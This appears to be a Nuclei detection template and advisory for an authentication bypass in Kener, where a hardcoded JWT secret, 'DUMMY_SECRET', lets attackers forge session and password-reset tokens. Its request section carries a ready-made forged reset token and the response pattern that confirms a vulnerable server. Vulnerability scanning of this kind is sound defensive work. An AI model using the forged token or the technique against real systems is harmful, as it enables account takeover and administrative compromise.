Kener 3.0.0 before 4.1.10 falls back to the hardcoded JWT secret "DUMMY_SECRET" when the KENER_SECRET_KEY environment variable is unset or empty. An unauthenticated attacker can forge session cookies and password-reset tokens signed with that key. A forged password-reset token accepted by POST /account/forgot/api/password-reset produces a distinct response: the request passes token verification and fails only later at user lookup ("User does not exist"), whereas patched versions reject the token signature immediately with "Invalid or expired token".
id: CVE-2026-116747
info:
name: Kener - Authentication Bypass
author: kosoyyagent
severity: critical
description: |
Kener 3.0.0 before 4.1.10 falls back to the hardcoded JWT secret "DUMMY_SECRET" when the KENER_SECRET_KEY environment variable is unset or empty. An unauthenticated attacker can forge session cookies and password-reset tokens signed with that key. A forged password-reset token accepted by POST /account/forgot/api/password-reset produces a distinct response: the request passes token verification and fails only later at user lookup ("User does not exist"), whereas patched versions reject the token signature immediately with "Invalid or expired token".
impact: |
Unauthenticated attackers can gain full administrative privileges and forge password-reset tokens, compromising system security.
remediation: |
Update to version 4.1.10 or later.
reference:
- https://github.com/rajnandan1/kener/commit/ff636483544c926eab5b5e3e26b811c0f52bcaf8
- https://github.com/rajnandan1/kener/issues/871
- https://nvd.nist.gov/vuln/detail/CVE-2026-116747
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 8.1
cve-id: CVE-2026-116747
cwe-id: CWE-321
metadata:
max-request: 1
vendor: rajnandan1
product: kener
shodan-query: title:"Kener"
fofa-query: title="Kener"
tags: cve,cve2026,kener,auth-bypass,jwt
http:
- method: POST
path:
- "{{BaseURL}}/account/forgot/api/password-reset"
headers:
Content-Type: application/json
body: '{"receivedToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Im51Y2xlaS1wcm9iZS1ub25leGlzdGVudEBpbnZhbGlkLmludmFsaWQiLCJnZW5lcmF0ZWRBdCI6NDEwMjQ0NDgwMDAwMH0.MIKp32FOJN5duVN9qWDiJCa9HbQwt_---tM2YN93B1o","newPassword":"NucleiProbe123"}'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "User does not exist"
- type: status
status:
- 401
# digest: 4b0a00483046022100e8554911cee6e71acdc8b3d1be4c95fe44f0afe4a92b83cd74bb7487dc39392a022100fb2488b940fa285d240551cc203ec30662c0915ab3fc79b1cbdd0d253a1da317:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
